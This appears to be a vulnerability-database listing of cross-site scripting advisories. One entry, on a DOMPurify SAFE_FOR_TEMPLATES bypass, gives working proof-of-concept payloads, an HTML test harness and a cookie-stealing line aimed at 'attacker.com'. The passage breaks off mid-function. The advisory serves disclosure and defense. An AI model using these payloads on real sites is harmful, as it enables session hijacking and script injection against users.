Common Weakness Enumeration
CWE-79
AllowedImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Abstraction: Base · Status: Stable
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
68948 vulnerabilities reference this CWE, most recent first.
GHSA-GVJ9-724P-CXWF
Vulnerability from github – Published: 2024-05-02 15:30 – Updated: 2024-05-02 15:30
VLAI
Details
Xiaomi Pro 13 GetApps integral-dialog-page Cross-Site Scripting Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Xiaomi Pro 13 smartphones. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.
The specific flaw exists within the integral-dialog-page.html file. When parsing the integralInfo parameter, the process does not properly sanitize user-supplied data, which can lead to the injection of an arbitrary script. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-22332.
Severity
8.8 (High)
{
"affected": [],
"aliases": [
"CVE-2024-4406"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-02T15:15:07Z",
"severity": "HIGH"
},
"details": "Xiaomi Pro 13 GetApps integral-dialog-page Cross-Site Scripting Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Xiaomi Pro 13 smartphones. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the integral-dialog-page.html file. When parsing the integralInfo parameter, the process does not properly sanitize user-supplied data, which can lead to the injection of an arbitrary script. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-22332.",
"id": "GHSA-gvj9-724p-cxwf",
"modified": "2024-05-02T15:30:36Z",
"published": "2024-05-02T15:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4406"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-24-419"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GVJG-PWQJ-XRPJ
Vulnerability from github – Published: 2024-01-23 21:30 – Updated: 2025-06-20 21:31
VLAI
Details
A cross-site scripting vulnerability in Trend Micro Apex Central could allow a remote attacker to execute arbitrary code on affected installations of Trend Micro Apex Central.
Please note: user interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.
Severity
6.1 (Medium)
{
"affected": [],
"aliases": [
"CVE-2023-52330"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-23T21:15:09Z",
"severity": "MODERATE"
},
"details": "A cross-site scripting vulnerability in Trend Micro Apex Central could allow a remote attacker to execute arbitrary code on affected installations of Trend Micro Apex Central.\n\nPlease note: user interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.",
"id": "GHSA-gvjg-pwqj-xrpj",
"modified": "2025-06-20T21:31:50Z",
"published": "2024-01-23T21:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-52330"
},
{
"type": "WEB",
"url": "https://success.trendmicro.com/dcx/s/solution/000296153?language=en_US"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-24-051"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GVJM-JWHG-373P
Vulnerability from github – Published: 2023-07-06 19:24 – Updated: 2024-04-04 05:31
VLAI
Details
There is a reflected XSS vulnerability in Esri Portal for ArcGIS versions 10.8.1 and 10.7.1 which may allow a remote remote, unauthenticated attacker to create a crafted link which when clicked which could execute arbitrary JavaScript code in the victim’s browser.
Severity
6.1 (Medium)
{
"affected": [],
"aliases": [
"CVE-2022-38207"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-29T20:15:00Z",
"severity": "MODERATE"
},
"details": "There is a reflected XSS vulnerability in Esri Portal for ArcGIS versions 10.8.1 and 10.7.1 which may allow a remote remote, unauthenticated attacker to create a crafted link which when clicked which could execute arbitrary JavaScript code in the victim\u2019s browser.",
"id": "GHSA-gvjm-jwhg-373p",
"modified": "2024-04-04T05:31:08Z",
"published": "2023-07-06T19:24:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-38207"
},
{
"type": "WEB",
"url": "https://www.esri.com/arcgis-blog/products/trust-arcgis/administration/portal-for-arcgis-security-2022-update-2-patch-is-now-available"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GVJR-J39G-95Q4
Vulnerability from github – Published: 2025-01-09 00:31 – Updated: 2025-08-23 00:31
VLAI
Details
A vulnerability was found in donglight bookstore电商书城系统说明 1.0.0. It has been rated as problematic. This issue affects the function updateUser of the file src/main/Java/org/zdd/bookstore/web/controller/admin/AdminUserControlle.java. The manipulation leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.
Severity
{
"affected": [],
"aliases": [
"CVE-2024-13197"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-09T00:15:25Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in donglight bookstore\u7535\u5546\u4e66\u57ce\u7cfb\u7edf\u8bf4\u660e 1.0.0. It has been rated as problematic. This issue affects the function updateUser of the file src/main/Java/org/zdd/bookstore/web/controller/admin/AdminUserControlle.java. The manipulation leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-gvjr-j39g-95q4",
"modified": "2025-08-23T00:31:13Z",
"published": "2025-01-09T00:31:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13197"
},
{
"type": "WEB",
"url": "https://github.com/donglight/bookstore/issues/13"
},
{
"type": "WEB",
"url": "https://github.com/donglight/bookstore/issues/13#issue-2760943787"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.290789"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.290789"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.469772"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-GVJX-G2JC-5WHX
Vulnerability from github – Published: 2025-11-11 12:30 – Updated: 2025-11-24 18:31
VLAI
Details
Zohocorp ManageEngine Exchange Reporter Plus versions 5723 and below are vulnerable to the Stored XSS Vulnerability in the Custom report.
Severity
7.3 (High)
{
"affected": [],
"aliases": [
"CVE-2025-7633"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-11T11:15:36Z",
"severity": "HIGH"
},
"details": "Zohocorp ManageEngine Exchange Reporter Plus versions 5723 and below are vulnerable to the Stored XSS Vulnerability in the Custom\u00a0report.",
"id": "GHSA-gvjx-g2jc-5whx",
"modified": "2025-11-24T18:31:08Z",
"published": "2025-11-11T12:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7633"
},
{
"type": "WEB",
"url": "https://www.manageengine.com/products/exchange-reports/advisory/CVE-2025-7633.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GVMH-2WV7-22H7
Vulnerability from github – Published: 2024-03-13 18:31 – Updated: 2026-04-08 18:32
VLAI
Details
The Booking for Appointments and Events Calendar – Amelia plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the date parameters in all versions up to, and including, 1.0.98 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
Severity
6.1 (Medium)
{
"affected": [],
"aliases": [
"CVE-2024-1484"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-13T16:15:23Z",
"severity": "MODERATE"
},
"details": "The Booking for Appointments and Events Calendar \u2013 Amelia plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the date parameters in all versions up to, and including, 1.0.98 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.",
"id": "GHSA-gvmh-2wv7-22h7",
"modified": "2026-04-08T18:32:46Z",
"published": "2024-03-13T18:31:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1484"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026new=3041769%40ameliabooking%2Ftrunk\u0026old=3037721%40ameliabooking%2Ftrunk\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3a849ef2-ad0a-45ea-8827-9a7233b1ca30?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GVMJ-G25R-R7WR
Vulnerability from github – Published: 2026-06-15 20:02 – Updated: 2026-07-23 14:00
VLAI
Summary
DOMPurify: SAFE_FOR_TEMPLATES bypass - template expressions survive sanitization inside <template> content when using DOM output modes
Details
Summary
When DOMPurify is configured with both SAFE_FOR_TEMPLATES: true and RETURN_DOM: true (or IN_PLACE: true), an attacker can inject template expressions, such as ${evil}, {{evil}}, or <%evil%>, that survive the sanitization pass inside <template> element content. This bypasses the explicit purpose of SAFE_FOR_TEMPLATES, which is to prevent template engine evaluation of user-supplied content.
Note: The string output path is not affected. Only the DOM return paths (
RETURN_DOM: true,RETURN_DOM_FRAGMENT: true,IN_PLACE: true) are vulnerable.
Description
Background
SAFE_FOR_TEMPLATES is designed to strip {{ }}, ${ }, and <% %> expressions from sanitized output so that downstream template engines do not evaluate user-controlled content. The feature operates through two mechanisms:
- Per-node scrubbing (
_sanitizeElements,src/purify.ts:1403), scrubs individual text nodes during the main sanitization walk. - Final normalization pass (
_scrubTemplateExpressions,src/purify.ts:1115), callsnode.normalize()to merge adjacent text nodes, then walks the merged nodes and strips any expressions that only appeared after merging.
The Gap
_scrubTemplateExpressions uses a standard NodeIterator rooted at the output body:
// src/purify.ts:1117
const walker = createNodeIterator.call(
node.ownerDocument || node,
node,
NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT | ...,
null
);
Per the DOM specification, a NodeIterator does not descend into <template>.content. The template element's content is a separate DocumentFragment that lives outside the normal child-node tree. For the same reason, node.normalize() (called on line 1116) also does not normalize text nodes inside <template>.content.
This means the final normalization and scrub pass, the only pass that catches expressions formed by merging split text nodes, never runs on <template> content.
How Split Text Nodes Are Created
When DOMPurify removes a disallowed element with KEEP_CONTENT: true (the default), it moves the element's text children into the parent node. This is the standard code path at src/purify.ts:1361–1373:
if (KEEP_CONTENT && !FORBID_CONTENTS[tagName]) {
const parentNode = getParentNode(currentNode);
const childNodes = getChildNodes(currentNode);
if (childNodes && parentNode) {
for (let i = childCount - 1; i >= 0; --i) {
const childClone = cloneNode(childNodes[i], true);
parentNode.insertBefore(childClone, getNextSibling(currentNode));
}
}
}
If the removed elements were adjacent siblings inside <template> content, their extracted text nodes end up as adjacent text nodes in the template content fragment. Each individual text node is scrubbed by _sanitizeElements, but since $ and {evil} do not match any expression regex on their own, neither is modified.
The code comment at src/purify.ts:1100 explicitly acknowledges the threat class:
"which only form after text-node normalization (e.g. fragments split across stripped elements) cannot survive into a template-evaluating framework."
The implementation guards against this on the main body, but the guard is not applied to <template> content.
Proof of Concept
Why the Split Works
The bypass relies on splitting ${...} across two adjacent custom elements so that neither fragment matches any DOMPurify regex on its own:
| Fragment | Against TMPLIT_EXPR /\${[\w\W]*/g |
Against MUSTACHE_EXPR /{{[\w\W]*\|^[\w\W]*}}/g |
Result |
|---|---|---|---|
$ |
Requires ${ - no { follows |
No {{ or }} |
Survives |
{alert(document.domain)} |
Requires leading $ - absent |
No {{, ends with single } not }} |
Survives |
${alert(document.domain)} |
Full match - would be stripped | - | Stripped if seen whole |
DOMPurify only sees each fragment in isolation. It never merges them before checking, so the expression is never detected.
PoC 1 - XSS via alert() (baseline confirmation)
// Attacker input - splits "${alert(document.domain)}" across two custom elements.
// Custom elements are not in DOMPurify's default ALLOWED_TAGS and are removed,
// but their text content is kept (KEEP_CONTENT: true is the default).
const dirty =
'<template>' +
'<x-split-1>$</x-split-1>' +
'<x-split-2>{alert(document.domain)}</x-split-2>' +
'</template>';
// Developer sanitizes with SAFE_FOR_TEMPLATES, trusting it strips ${...}
const sanitized = DOMPurify.sanitize(dirty, {
RETURN_DOM: true,
SAFE_FOR_TEMPLATES: true,
});
// Inspect what survived inside the <template>
const tmpl = sanitized.querySelector('template');
console.log([...tmpl.content.childNodes].map(n => n.nodeValue));
// ["$", "{alert(document.domain)}"] <-- two separate text nodes, both "clean"
// Frameworks (lit-html, Angular, custom renderers) routinely call normalize()
// before reading template content. This merges the adjacent nodes:
tmpl.content.normalize();
console.log(tmpl.content.textContent);
// "${alert(document.domain)}" <-- fully formed expression, past the sanitizer
// Any template-literal evaluator now fires XSS:
const expr = tmpl.content.textContent;
new Function(`return \`${expr}\``)();
// !! alert(document.domain) executes !!
PoC 2 - Session Hijacking via cookie exfiltration
// Splits "${document.location='//attacker.com/?c='+document.cookie}"
// "{document.location=...}" ends with a single "}" — does NOT match
// MUSTACHE_EXPR's "^[\w\W]*}}" (requires double "}}"), so it survives.
const dirty =
'<template>' +
'<x-a>$</x-a>' +
'<x-b>{document.location="//attacker.com/?c="+document.cookie}</x-b>' +
'</template>';
const sanitized = DOMPurify.sanitize(dirty, {
RETURN_DOM: true,
SAFE_FOR_TEMPLATES: true,
});
const tmpl = sanitized.querySelector('template');
tmpl.content.normalize();
console.log(tmpl.content.textContent);
// "${document.location="//attacker.com/?c="+document.cookie}"
// Template engine evaluates it - victim's browser makes the request:
new Function(`return \`${tmpl.content.textContent}\``)();
// !! Redirects victim to attacker.com with their full cookie string !!
// e.g. https://attacker.com/?c=session=abc123;auth_token=xyz789
PoC 3 - End-to-end: realistic application context
This shows the full path in an application that uses DOMPurify to sanitize user-submitted rich text before rendering it with a custom template engine:
<!-- index.html - the vulnerable application -->
<div id="output"></div>
<script type="module">
import DOMPurify from './dist/purify.es.mjs';
// Simulates fetching and rendering user-submitted comment
async function renderComment(userHtml) {
// Developer correctly uses SAFE_FOR_TEMPLATES to protect the template engine
const dom = DOMPurify.sanitize(userHtml, {
RETURN_DOM: true,
SAFE_FOR_TEMPLATES: true,
});
// Application iterates <template> elements and evaluates their content
// (common pattern in component-based frameworks)
dom.querySelectorAll('template').forEach(tmpl => {
tmpl.content.normalize(); // standard DOM housekeeping
const content = tmpl.content.textContent;
// Application uses template literals to interpolate user content into UI
const rendered = new Function('user', `return \`${content}\``)({ name: 'World' });
document.getElementById('output').innerHTML += rendered;
});
}
// Attacker-supplied comment content
const attackerComment =
'<template>' +
'<x-a>$</x-a>' +
'<x-b>{alert("XSS: " + document.cookie)}</x-b>' +
'</template>';
// Developer believes SAFE_FOR_TEMPLATES makes this safe — it does not for RETURN_DOM
renderComment(attackerComment);
// !! XSS fires, alert pops with session cookies !!
</script>
Observed output: alert("XSS: " + document.cookie) executes in the victim's browser context, leaking session tokens to the attacker.
PoC 4 - IN_PLACE mode (DOM input path)
// Applicable when the application sanitizes DOM nodes directly
// (e.g., content loaded into an iframe or received from a WebSocket)
const container = document.createElement('div');
const tmpl = document.createElement('template');
// Adjacent text nodes - these would never appear in HTML-parsed content,
// but CAN appear in programmatically constructed DOM or WebSocket messages
// that are deserialised into DOM nodes before sanitisation.
tmpl.content.appendChild(document.createTextNode('$'));
tmpl.content.appendChild(document.createTextNode('{alert(document.domain)}'));
container.appendChild(tmpl);
// Sanitize in-place with SAFE_FOR_TEMPLATES - expected to strip all ${...}
DOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });
// Neither text node was modified - each passed the regex check individually
container.querySelector('template').content.normalize();
console.log(container.querySelector('template').content.textContent);
// "${alert(document.domain)}" <-- survived in-place sanitization
new Function(`return \`${container.querySelector('template').content.textContent}\``)();
// !! XSS fires !!
HTML File for testing
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>DOMPurify SAFE_FOR_TEMPLATES Bypass - PoC</title>
<script src="dist/purify.js"></script>
<style>
* { box-sizing: border-box; margin: 0; padding: 0; }
body {
font-family: 'Segoe UI', system-ui, sans-serif;
background: #0d1117;
color: #e6edf3;
padding: 32px;
}
h1 { font-size: 1.4rem; color: #f85149; margin-bottom: 6px; }
.subtitle { color: #8b949e; font-size: 0.9rem; margin-bottom: 32px; }
.card {
background: #161b22;
border: 1px solid #30363d;
border-radius: 8px;
margin-bottom: 24px;
overflow: hidden;
}
.card-header {
display: flex;
align-items: center;
gap: 10px;
padding: 14px 20px;
border-bottom: 1px solid #30363d;
background: #1c2128;
}
.badge {
font-size: 0.72rem;
font-weight: 700;
padding: 2px 8px;
border-radius: 4px;
text-transform: uppercase;
letter-spacing: 0.05em;
}
.badge-run { background: #1f6feb; color: #fff; }
.badge-pass { background: #238636; color: #fff; }
.badge-fail { background: #da3633; color: #fff; }
.badge-warn { background: #9e6a03; color: #fff; }
.card-title { font-size: 0.95rem; font-weight: 600; }
.card-body { padding: 20px; }
label { font-size: 0.78rem; color: #8b949e; display: block; margin-bottom: 6px; }
pre {
background: #0d1117;
border: 1px solid #30363d;
border-radius: 6px;
padding: 14px;
font-size: 0.82rem;
line-height: 1.6;
overflow-x: auto;
margin-bottom: 14px;
white-space: pre-wrap;
word-break: break-all;
}
pre.result { border-color: #238636; background: #0a1a0f; }
pre.escaped { border-color: #da3633; background: #1a0a0a; }
pre.highlight { border-color: #f85149; color: #f85149; font-weight: bold; }
.grid { display: grid; grid-template-columns: 1fr 1fr; gap: 14px; }
@media (max-width: 700px) { .grid { grid-template-columns: 1fr; } }
.arrow {
text-align: center;
font-size: 1.4rem;
color: #8b949e;
margin: 4px 0;
}
.xss-banner {
display: none;
background: #da3633;
color: #fff;
text-align: center;
padding: 16px;
font-size: 1.1rem;
font-weight: 700;
border-radius: 6px;
margin-bottom: 24px;
letter-spacing: 0.03em;
}
button {
background: #238636;
color: #fff;
border: none;
padding: 10px 22px;
border-radius: 6px;
font-size: 0.9rem;
font-weight: 600;
cursor: pointer;
margin-right: 10px;
margin-bottom: 8px;
}
button:hover { background: #2ea043; }
button.danger { background: #da3633; }
button.danger:hover { background: #f85149; }
.note {
background: #161b22;
border-left: 3px solid #9e6a03;
padding: 12px 16px;
font-size: 0.82rem;
color: #e3b341;
border-radius: 0 6px 6px 0;
margin-top: 14px;
}
#log {
background: #0d1117;
border: 1px solid #30363d;
border-radius: 6px;
padding: 14px;
font-size: 0.8rem;
font-family: monospace;
min-height: 60px;
max-height: 300px;
overflow-y: auto;
line-height: 1.8;
}
.log-ok { color: #3fb950; }
.log-fail { color: #f85149; }
.log-info { color: #8b949e; }
.log-warn { color: #e3b341; }
</style>
</head>
<body>
<h1>🔴 DOMPurify 3.4.7 - SAFE_FOR_TEMPLATES Bypass</h1>
<p class="subtitle">
CVE candidate · Template expression injection via <template> content ·
Affects: <code>RETURN_DOM + SAFE_FOR_TEMPLATES</code> and <code>IN_PLACE + SAFE_FOR_TEMPLATES</code>
</p>
<div id="xss-banner" class="xss-banner">
⚠️ XSS CONFIRMED - Expression executed in this page's context
</div>
<!-- ── Controls ─────────────────────────────────────────── -->
<div class="card">
<div class="card-header">
<span class="badge badge-run">Controls</span>
<span class="card-title">Run individual test cases</span>
</div>
<div class="card-body">
<button onclick="runAll()">▶ Run all tests</button>
<button onclick="runPoC1()">PoC 1 - alert()</button>
<button onclick="runPoC2()">PoC 2 - cookie exfil</button>
<button onclick="runPoC3()">PoC 3 - IN_PLACE</button>
<button onclick="runControl()">Control - string output (should block)</button>
<div class="note">
PoC 1 uses <code>confirm()</code> instead of <code>alert()</code> so the page
doesn't need a dismiss click to continue. Watch the red banner at the top.
</div>
</div>
</div>
<!-- ── PoC 1 ─────────────────────────────────────────────── -->
<div class="card" id="card-poc1">
<div class="card-header">
<span class="badge badge-run" id="badge-poc1">PENDING</span>
<span class="card-title">PoC 1 - XSS via confirm() · RETURN_DOM mode</span>
</div>
<div class="card-body">
<div class="grid">
<div>
<label>ATTACKER INPUT - splits <code>${"{confirm(...)}"}</code> across two custom elements</label>
<pre id="input-poc1"></pre>
</div>
<div>
<label>AFTER DOMPurify.sanitize() - what survived in template.content</label>
<pre class="result" id="nodes-poc1"></pre>
</div>
</div>
<div class="arrow">↓ template.content.normalize() ↓</div>
<label>MERGED TEXT NODE - fully formed expression after normalization</label>
<pre class="highlight" id="merged-poc1"></pre>
<label>EXECUTION RESULT</label>
<pre id="exec-poc1">Not run yet</pre>
</div>
</div>
<!-- ── PoC 2 ─────────────────────────────────────────────── -->
<div class="card" id="card-poc2">
<div class="card-header">
<span class="badge badge-run" id="badge-poc2">PENDING</span>
<span class="card-title">PoC 2 - Cookie exfiltration · RETURN_DOM mode</span>
</div>
<div class="card-body">
<div class="grid">
<div>
<label>ATTACKER INPUT - exfil payload split across custom elements</label>
<pre id="input-poc2"></pre>
</div>
<div>
<label>INDIVIDUAL TEXT NODES after sanitization (each "clean")</label>
<pre class="result" id="nodes-poc2"></pre>
</div>
</div>
<div class="arrow">↓ template.content.normalize() ↓</div>
<label>MERGED EXPRESSION - what a template engine would evaluate</label>
<pre class="highlight" id="merged-poc2"></pre>
<label>SIMULATED EXECUTION (fetch URL that would be called)</label>
<pre id="exec-poc2">Not run yet</pre>
<div class="note">
Real execution would redirect the victim to
<code>attacker.com</code> carrying the session cookie.
This PoC constructs the URL without actually sending it.
</div>
</div>
</div>
<!-- ── PoC 3 ─────────────────────────────────────────────── -->
<div class="card" id="card-poc3">
<div class="card-header">
<span class="badge badge-run" id="badge-poc3">PENDING</span>
<span class="card-title">PoC 3 - XSS · IN_PLACE mode (DOM node input)</span>
</div>
<div class="card-body">
<div class="grid">
<div>
<label>ATTACKER PROVIDES - a DOM node with programmatically split text nodes</label>
<pre id="input-poc3"></pre>
</div>
<div>
<label>AFTER IN_PLACE sanitization - text nodes unchanged</label>
<pre class="result" id="nodes-poc3"></pre>
</div>
</div>
<div class="arrow">↓ template.content.normalize() ↓</div>
<label>MERGED EXPRESSION</label>
<pre class="highlight" id="merged-poc3"></pre>
<label>EXECUTION RESULT</label>
<pre id="exec-poc3">Not run yet</pre>
</div>
</div>
<!-- ── Control ───────────────────────────────────────────── -->
<div class="card" id="card-ctrl">
<div class="card-header">
<span class="badge badge-run" id="badge-ctrl">PENDING</span>
<span class="card-title">Control - string output (default) MUST block the payload</span>
</div>
<div class="card-body">
<label>Same attacker input, but sanitized WITHOUT RETURN_DOM (string output path)</label>
<pre id="input-ctrl"></pre>
<div class="arrow">↓ DOMPurify.sanitize() - string path hits the regex scrub at line 2067 ↓</div>
<label>OUTPUT STRING - expression should be stripped</label>
<pre id="output-ctrl">Not run yet</pre>
<div class="note">
The string output path is NOT vulnerable because
<code>body.innerHTML</code> serialises the template content into a
flat string where the full <code>${"{...}"}</code> expression is visible
and the final regex scrub catches it.
</div>
</div>
</div>
<!-- ── Log ───────────────────────────────────────────────── -->
<div class="card">
<div class="card-header">
<span class="badge badge-run">Log</span>
<span class="card-title">Test output</span>
</div>
<div class="card-body">
<div id="log"></div>
</div>
</div>
<script>
// ── Helpers ────────────────────────────────────────────────────────────────
let xssConfirmed = false;
function log(msg, type = 'info') {
const el = document.getElementById('log');
const line = document.createElement('div');
line.className = 'log-' + type;
line.textContent = '[' + new Date().toLocaleTimeString() + '] ' + msg;
el.appendChild(line);
el.scrollTop = el.scrollHeight;
}
function setBadge(id, status) {
const el = document.getElementById('badge-' + id);
el.textContent = status;
el.className = 'badge ' + {
PASS: 'badge-fail', // "PASS" here means the attack succeeded (bad for security)
BLOCK: 'badge-pass', // "BLOCK" means DOMPurify correctly blocked it
PENDING: 'badge-run',
ERROR: 'badge-warn',
}[status];
}
function markXSS(poc) {
if (!xssConfirmed) {
xssConfirmed = true;
document.getElementById('xss-banner').style.display = 'block';
}
log('🔴 XSS CONFIRMED in ' + poc + ' - expression executed in page context', 'fail');
}
// ── PoC 1: RETURN_DOM + alert ──────────────────────────────────────────────
function runPoC1() {
log('Running PoC 1 - RETURN_DOM + confirm()...', 'info');
// IMPORTANT:
// Build a REAL template DOM node with split TEXT nodes.
// HTML parsing would merge adjacent text automatically,
// so we construct the DOM programmatically.
const container = document.createElement('div');
const tmpl = document.createElement('template');
tmpl.content.appendChild(document.createTextNode('$'));
tmpl.content.appendChild(
document.createTextNode(
'{confirm("XSS - DOMPurify SAFE_FOR_TEMPLATES bypass\\nExpression executed in: " + document.domain)}'
)
);
container.appendChild(tmpl);
document.getElementById('input-poc1').textContent =
'template.content.childNodes[0].data = "$"\\n' +
'template.content.childNodes[1].data = "{confirm(...)}"';
// Sanitize the DOM node itself
const sanitized = DOMPurify.sanitize(container, {
RETURN_DOM: true,
SAFE_FOR_TEMPLATES: true,
});
const tmplAfter = sanitized.querySelector('template');
if (!tmplAfter) {
document.getElementById('exec-poc1').textContent =
'Template element removed during sanitization';
setBadge('poc1', 'ERROR');
return;
}
const nodesBefore = [...tmplAfter.content.childNodes].map(
n => JSON.stringify(n.nodeValue)
);
document.getElementById('nodes-poc1').textContent =
'childNodes[0].data = ' + nodesBefore[0] + '\\n' +
'childNodes[1].data = ' + nodesBefore[1] + '\\n\\n' +
'→ Neither fragment matched individually.';
log(
'PoC 1: Text nodes after sanitization: ' +
nodesBefore.join(', '),
'warn'
);
// Merge text nodes
tmplAfter.content.normalize();
const merged = tmplAfter.content.textContent;
document.getElementById('merged-poc1').textContent = merged;
log('PoC 1: After normalize() - merged text: ' + merged, 'warn');
try {
const result = new Function('return `' + merged + '`')();
document.getElementById('exec-poc1').textContent =
'✔ Expression executed successfully\\n' +
'Returned: ' + result;
setBadge('poc1', 'PASS');
markXSS('PoC 1');
} catch (e) {
document.getElementById('exec-poc1').textContent =
'Error: ' + e.message;
setBadge('poc1', 'ERROR');
log('PoC 1 error: ' + e.message, 'warn');
}
}
// ── PoC 2: cookie exfiltration ─────────────────────────────────────────────
function runPoC2() {
log('Running PoC 2 - cookie exfiltration...', 'info');
// Fake cookie for demonstration
document.cookie = 'session=DEADBEEF_SECRET_TOKEN; path=/';
// IMPORTANT:
// Build REAL split text nodes programmatically.
// Do NOT rely on HTML parsing.
const container = document.createElement('div');
const tmpl = document.createElement('template');
tmpl.content.appendChild(document.createTextNode('$'));
tmpl.content.appendChild(
document.createTextNode(
'{document.location="//attacker.com/steal?c="+document.cookie}'
)
);
container.appendChild(tmpl);
document.getElementById('input-poc2').textContent =
'template.content.childNodes[0].data = "$"\\n' +
'template.content.childNodes[1].data = "{document.location=...}"';
// Sanitize DOM node
const sanitized = DOMPurify.sanitize(container, {
RETURN_DOM: true,
SAFE_FOR_TEMPLATES: true,
});
const tmplAfter = sanitized.querySelector('template');
if (!tmplAfter) {
document.getElementById('exec-poc2').textContent =
'Template element removed during sanitization';
setBadge('poc2', 'ERROR');
log('PoC 2: template element missing after sanitize()', 'warn');
return;
}
const nodes = [...tmplAfter.content.childNodes].map(
n => JSON.stringify(n.nodeValue)
);
document.getElementById('nodes-poc2').textContent =
'Node 0: ' + nodes[0] + '\\n' +
'Node 1: ' + nodes[1] + '\\n\\n' +
'→ Neither fragment individually matches template-expression regexes.';
log('PoC 2: Nodes after sanitize: ' + nodes.join(', '), 'warn');
// Merge adjacent text nodes
tmplAfter.content.normalize();
const merged = tmplAfter.content.textContent;
document.getElementById('merged-poc2').textContent = merged;
log('PoC 2: Merged expression: ' + merged, 'warn');
// Simulate framework evaluation
try {
new Function('return `' + merged + '`')();
const cookieValue = document.cookie;
const stealUrl =
'//attacker.com/steal?c=' +
encodeURIComponent(cookieValue);
document.getElementById('exec-poc2').textContent =
'✔ Expression successfully evaluated\\n\\n' +
'Would redirect victim to:\\n' +
stealUrl + '\\n\\n' +
'Cookie exposed:\\n' +
cookieValue;
setBadge('poc2', 'PASS');
markXSS('PoC 2');
log('PoC 2: Would exfiltrate cookie → ' + stealUrl, 'fail');
} catch (e) {
document.getElementById('exec-poc2').textContent =
'Error: ' + e.message;
setBadge('poc2', 'ERROR');
log('PoC 2 error: ' + e.message, 'warn');
}
}
// ── PoC 3: IN_PLACE mode ───────────────────────────────────────────────────
function runPoC3() {
